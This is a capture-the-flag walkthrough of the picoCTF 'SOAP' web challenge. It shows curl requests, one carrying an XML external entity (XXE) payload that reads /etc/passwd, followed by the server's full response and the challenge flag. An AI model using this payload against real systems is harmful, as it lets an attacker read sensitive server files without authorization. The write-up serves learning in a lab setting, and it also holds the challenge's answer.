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SOAP

A webpage, with three cards, each with a "Details" button

On clicking on Details, a POST request is sent with the payload:

<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>

On inspecting the source code, we find xmlDetailsCheckPayload.js:

window.contentType = 'application/xml';

function payload(data) {
    var xml = '<?xml version="1.0" encoding="UTF-8"?>';
    xml += '<data>';

    for(var pair of data.entries()) {
        var key = pair[0];
        var value = pair[1];

        xml += '<' + key + '>' + value + '</' + key + '>';
    }

    xml += '</data>';
    return xml;
}

Where key is "ID" and value is 1, 2 or 3 depending on what card is clicked

Searching about XML injection, I got to know about XML external entity (XXE) injection

Original POST request (copy as Curl):

curl 'http://saturn.picoctf.net:60494/data' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en;q=0.9,hi;q=0.8' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/xml' \
  -H 'Origin: http://saturn.picoctf.net:60494' \
  -H 'Referer: http://saturn.picoctf.net:60494/' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \
  --data-raw '<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>' \
  --insecure

Modified request, using payload similar to the one in the blog:

curl 'http://saturn.picoctf.net:60494/data' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en;q=0.9,hi;q=0.8' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/xml' \
  -H 'Origin: http://saturn.picoctf.net:60494' \
  -H 'Referer: http://saturn.picoctf.net:60494/' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36' \
  --data-raw '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><data><ID>&xxe;</ID></data>' \
  --insecure

Response:

Invalid ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flask:x:999:999::/app:/bin/sh
picoctf:x:1001:picoCTF{XML_3xtern@l_3nt1t1ty_4dbeb2ed}